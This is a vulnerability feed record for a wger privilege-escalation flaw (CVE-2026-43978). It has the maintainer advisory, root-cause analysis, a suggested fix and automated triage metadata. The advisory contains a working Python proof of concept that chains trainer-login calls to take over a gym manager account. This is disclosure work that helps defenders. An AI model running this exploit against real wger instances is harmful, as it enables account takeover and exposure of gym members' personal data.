{"id":"CVE-2026-43978","kind":"vulnerability","aliases":["CVE-2026-43978","GHSA-9qpr-vc49-hqg2"],"related":[],"title":"wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager","description":"### Summary\nA gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag `trainer.identity`\nis set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.\n\n### Details\nIn `wger/core/views/user.py` lines 169–178, the permission check uses an AND condition:\n\n```python\n# Line 169 — passes if EITHER condition is false\nif not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):\n    return HttpResponseForbidden()\n\n# Line 173 — only runs when current user IS a trainer, not when identity is inherited\nif request.user.has_perm('gym.gym_trainer') and (\n    user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')\n):\n    return HttpResponseForbidden()\n```\n\nAfter hop 1 (trainer → regular user), `request.user` is the regular user who has no `gym_trainer` permission, but `session['trainer.identity']` is set. Line 169 evaluates:\n`not False AND not False` → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.\n\n\n### PoC\nRequirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.\n\n```python\nimport requests\n\nBASE = 'http://localhost:80'\ns = requests.Session()\n\ndef whoami():\n    r = s.get(f'{BASE}/api/v2/userprofile/',\n              headers={'Accept': 'application/json'})\n    return r.json().get('username')\n\n# ─────────────────────────────────────────────\nprint(\"=\" * 55)\nprint(\"  PoC: Trainer Login Privilege Escalation\")\nprint(\"  wger/core/views/user.py:169\")\nprint(\"=\" * 55)\n\n# ─── STEP 1: Normal login as gym trainer ─────\nprint(\"\\n[STEP 1] Login as 'trainer1'\")\nprint(\"         trainer1 has ONLY 'gym.gym_trainer' permission\")\n\ns.get(f'{BASE}/en/user/login')\ns.post(f'{BASE}/en/user/login', data={\n    'username': 'trainer1',\n    'password': 'pass1234',\n    'csrfmiddlewaretoken': s.cookies['csrftoken'],\n})\nprint(f\"         Current user  : {whoami()}\")\nprint(f\"         Permission    : gym.gym_trainer (NOT manage_gym)\")\n\n# ─── STEP 2: Legitimate trainer-login ────────\nprint(\"\\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)\")\nprint(\"         This is ALLOWED — trainer1 has gym_trainer permission\")\nprint(\"         Side effect: session['trainer.identity'] = trainer1_pk\")\n\ns.get(f'{BASE}/en/user/4/trainer-login')\nprint(f\"         Current user  : {whoami()}\")\nprint(f\"         Session flag  : trainer.identity is now SET\")\n\n# ─── STEP 3: EXPLOIT ─────────────────────────\nprint(\"\\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)\")\nprint(\"         regular1 has ZERO permissions\")\nprint(\"         BUT session['trainer.identity'] is set from Step 2\")\nprint(\"         Line 169 check: `not has_perm() AND not session.get()` → BYPASSED\")\n\ns.get(f'{BASE}/en/user/3/trainer-login')\nresult = whoami()\nprint(f\"         Current user  : {result}\")\n\n# ─── RESULT ──────────────────────────────────\nprint(\"\\n\" + \"=\" * 55)\nif result == 'manager1':\n    print(\"  RESULT : !! VULNERABLE !!\")\n    print(\"  trainer1 (gym_trainer) is now logged in as manager1\")\n    print(\"  manager1 has 'gym.manage_gym' — full gym admin access\")\nelse:\n    print(\"  RESULT : Not vulnerable (got: \" + result + \")\")\nprint(\"=\" * 55)\n```\n\nOutput on wger 2.5.0a2:\n\n<img width=\"728\" height=\"628\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3e8affa3-4728-480c-bb57-929f66723ea5\" />\n\n### Impact\nAny authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information.\n\n### How to fix\n\nThe root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session['trainer.identity'] is set, the entire permission check is skipped — allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.\n\nVulnerable code (user.py:169–178):\n\n```\nif not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):\n    return HttpResponseForbidden()\n\nif request.user.has_perm('gym.gym_trainer') and (\n    user.has_perm('gym.gym_trainer')\n    or user.has_perm('gym.manage_gym')\n    or user.has_perm('gym.manage_gyms')\n):\n    return HttpResponseForbidden()\n```\n\nSuggested fix:\n\n```\ntrainer_identity_pk = request.session.get('trainer.identity')\n\nif not request.user.has_perm('gym.gym_trainer'):\n    if not trainer_identity_pk:\n        return HttpResponseForbidden()\n    # Verify the original trainer in the session still holds the permission\n    original_trainer = get_object_or_404(User, pk=trainer_identity_pk)\n    if not original_trainer.has_perm('gym.gym_trainer'):\n        return HttpResponseForbidden()\n\n# Target-user check must apply in both direct and chained hop scenarios\nif (request.user.has_perm('gym.gym_trainer') or trainer_identity_pk) and (\n    user.has_perm('gym.gym_trainer')\n    or user.has_perm('gym.manage_gym')\n    or user.has_perm('gym.manage_gyms')\n):\n    return HttpResponseForbidden()\n```","summary":"A gym trainer can switch into a regular user account and then chain a second trainer-login call to take over a gym manager account in the same gym. The attacker then gets full gym administration access, including member data, contracts and staff information.","severity":"high","cvss":8.1,"epss":0.00265,"exploited":false,"exploited_at":null,"products":[{"name":"wger","fixed":[],"affected":"<= 2.5","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-269","django","gym-management","package","python","self-hosted","wger"],"not_affected_if":["no-gym-trainer-accounts","single-user-instance"],"how_to_check":"- Check the installed wger version with `pip show wger` and compare it to the affected range (<= 2.5).\n- Review `wger/core/views/user.py` around lines 169-178 for the AND-based permission check described in the advisory.\n- Check whether gym trainer accounts exist on the instance that can reach the trainer-login endpoint.","fix":null,"status":"open","published_at":"2026-05-14T16:16:30+00:00","first_seen_at":"2026-11-06T00:19:55+00:00","triaged_at":"2026-11-06T00:20:57+00:00","updated_at":"2026-11-06T00:20:57+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-06T00:20:57Z","model":"claude-haiku-5-5","output":{"fix":"unknown","reach":"network","title":"wger: trainer-login chaining lets a gym trainer impersonate gym managers","impact":"high","summary":"A gym trainer can switch into a regular user account and then chain a second trainer-login call to take over a gym manager account in the same gym. The attacker then gets full gym administration access, including member data, contracts and staff information.","audience":"businesses","category":"package","nicknames":[],"who_cares":["wger","self-hosted","gym-management","python","django"],"confidence":0.8,"fix_status":"unknown","needs_auth":"yes","worst_case":"Trainer takes over gym manager account and reads member data","analyst_note":"Fixed version is not stated in the sources; check the GHSA-9qpr-vc49-hqg2 advisory and the linked patch on github.com for the release that closes this.","how_to_check":"- Check the installed wger version with `pip show wger` and compare it to the affected range (<= 2.5).\n- Review `wger/core/views/user.py` around lines 169-178 for the AND-based permission check described in the advisory.\n- Check whether gym trainer accounts exist on the instance that can reach the trainer-login endpoint.","plain_action":"","needs_analyst":true,"not_affected_if":["no-gym-trainer-accounts","single-user-instance"],"who_is_affected":"Gyms and organisations running a self-hosted wger instance with gym trainer and gym manager accounts are exposed, because the flaw lets a trainer reach manager-level accounts in the same gym. Instances with no gym trainer accounts, or only single-user setups, are not meaningfully affected. The sources do not state a fixed version, so teams should check the advisory and patch link for the release that contains the fix.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.000964,"input_tokens":6487,"output_tokens":631,"severity_before":"high"},"analyst_status":"queued","analyst_note":"Fixed version is not stated in the sources; check the GHSA-9qpr-vc49-hqg2 advisory and the linked patch on github.com for the release that closes this.","search":"'-2026':18A,26A '-269':30B '-43978':19A,27A '/api/v2/userprofile':329C '/en/user/3/trainer-login':501C '/en/user/4/trainer-login':440C '/en/user/login':374C,378C '1':227C,351C,360C '169':163C,174C,248C,347C,489C '173':194C,264C '178':164C '2':401C,409C,486C '2.5.0':550C '3':455C,460C,472C '4':420C '55':338C,349C,512C,546C '80':320C '9qpr':22A 'a2':551C 'accept':331C 'access':78B,537C 'account':50B,66B,99C,155C,289C,305C,310C,567C 'admin':536C 'administr':77B,576C 'allow':10A,148C,424C 'alon':136C 'application/json':332C 'attack':72B,278C 'authent':554C 'base':318C,328C,373C,377C,439C,500C 'bypass':137C,497C 'call':59B,107C,147C,281C,465C 'capabl':577C 'chain':9A,53B,105C 'check':140C,167C,262C,490C 'circuit':260C 'condit':171C,178C 'contract':82B,584C 'csrfmiddlewaretoken':384C 'csrftoken':386C 'current':198C,270C,389C,443C,506C 'cve':17A,25A 'cwe':29B 'data':81B,379C,582C 'def':323C 'detail':159C 'django':31B 'effect':432C 'either':177C 'els':538C 'endpoint':113C 'escal':3A,91C,344C 'evalu':249C 'exploit':456C,461C 'f':327C,372C,376C,388C,393C,438C,442C,447C,499C,505C 'fals':180C,251C,254C 'flag':129C,135C,449C 'full':75B,534C,574C 'general':102C,564C 'get':74B,335C 'ghsa':21A 'ghsa-9qpr-vc49-hqg2':20A 'got':543C 'grant':573C 'gym':11A,15A,33B,42B,64B,70B,76B,88C,100C,157C,217C,222C,239C,303C,308C,314C,355C,399C,427C,521C,533C,535C,555C,561C,565C,571C,575C 'gym-manag':32B 'gym.gym':185C,211C,368C,395C 'gym.manage':216C,221C,532C 'header':330C 'higher':97C 'higher-privileg':96C 'hop':152C,226C 'host':39B 'hqg2':24A 'httpresponseforbidden':192C,224C 'ident':205C 'impact':552C 'imperson':14A 'import':316C 'includ':79B,156C,578C 'inform':85B 'inherit':207C 'instanc':298C 'least':301C 'legitim':119C,402C 'line':162C,173C,193C,247C,263C,488C 'localhost':319C 'log':525C 'login':7A,58B,112C,146C,284C,342C,353C,361C,405C,414C,468C 'longer':274C 'low':124C 'low-privileg':123C 'manag':16A,34B,65B,101C,103C,158C,288C,309C,398C,562C,566C 'manager1':470C,515C,528C,530C 'member':80B,581C 'modifi':583C 'n':358C,407C,458C,511C 'never':266C 'normal':352C 'one':302C,307C 'operand':257C 'output':547C 'packag':35B 'pass':175C 'pass1234':383C 'password':382C 'perform':117C 'perm':184C,210C,215C,220C,493C 'permiss':139C,166C,241C,370C,394C,429C,477C 'pk':419C,436C,471C 'poc':293C,340C 'print':337C,339C,345C,348C,357C,364C,387C,392C,406C,421C,430C,441C,446C,457C,473C,478C,487C,504C,510C,516C,519C,529C,539C,545C 'privileg':2A,98C,125C,343C 'python':36B,172C,315C 'r':325C 'r.json':334C 'reach':267C 'regular':48B,229C,234C 'regular1':418C,464C,474C 'request':317C 'request.session.get':189C 'request.user':231C 'request.user.has':183C,209C 'requests.session':322C 'requir':294C 'result':502C,508C,509C,514C,517C,540C,544C 'return':191C,223C,333C 'run':196C,296C 's.cookies':385C 's.get':326C,371C,437C,498C 's.post':375C 'second':55B,256C 'self':38B 'self-host':37B 'session':8A,93C,128C,243C,433C,448C,480C 'session.get':496C 'set':132C,246C,453C,483C 'short':259C 'short-circuit':258C 'side':431C 'staff':84B 'step':350C,359C,400C,408C,454C,459C,485C 'subsequ':143C 'succeed':292C 'summari':86C 'switch':45B,120C,416C 'take':61B,558C 'target':286C 'therefor':280C 'trainer':6A,12A,43B,57B,89C,111C,116C,145C,150C,186C,202C,212C,228C,240C,276C,283C,304C,341C,356C,369C,396C,404C,413C,428C,467C,522C,556C 'trainer-login':5A,56B,110C,144C,282C,403C,412C,466C 'trainer.identity':130C,190C,244C,434C,450C,481C 'trainer1':363C,365C,381C,410C,425C,435C,520C 'two':106C 'use':168C,411C 'user':49B,126C,199C,230C,235C,271C,390C,444C,507C 'user.has':214C,219C 'usernam':336C,380C 'vc49':23A 'via':4A 'view':579C 'vulner':518C,542C 'wger':1A,28A,40B,297C,549C 'wger/core/views/user.py':161C,346C 'whoami':324C,391C,445C,503C 'within':568C 'zero':476C","nicknames":[],"mitigations":[],"who_affected":"Gyms and organisations running a self-hosted wger instance with gym trainer and gym manager accounts are exposed, because the flaw lets a trainer reach manager-level accounts in the same gym. Instances with no gym trainer accounts, or only single-user setups, are not meaningfully affected. The sources do not state a fixed version, so teams should check the advisory and patch link for the release that contains the fix.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"none","audience":"businesses","plain_action":null,"pkeys":["wger"],"ptokens":["wger"],"labels":["cwe269","django","gymmanagement","high","package","pypi","python","selfhosted","wger"],"campaign_type":null,"first_public_at":"2026-05-14T12:36:41+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-9qpr-vc49-hqg2","url":"https://github.com/advisories/GHSA-9qpr-vc49-hqg2","severity":"high","published_at":"2026-05-14T16:16:30+00:00","modified_at":"2026-11-06T00:15:01+00:00","first_seen_at":"2026-11-06T00:19:55+00:00","fetched_at":"2026-11-06T00:50:35+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-43978","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43978","severity":null,"published_at":"2026-07-16T23:16:16+00:00","modified_at":"2026-10-24T20:10:00+00:00","first_seen_at":"2026-11-06T00:48:56+00:00","fetched_at":"2026-11-06T00:48:56+00:00","note":null}],"documents":[{"id":82031,"url":"https://api.github.com/repos/wger-project/wger/security-advisories/GHSA-9qpr-vc49-hqg2","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":82032,"url":"https://github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-05-14T12:36:41+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":82033,"url":"https://github.com/wger-project/wger/commit/19c97822492f9914ccfcebeeda319be4e7562790","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"exploit_sources":[{"type":"epss","score":0.00265,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43978"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}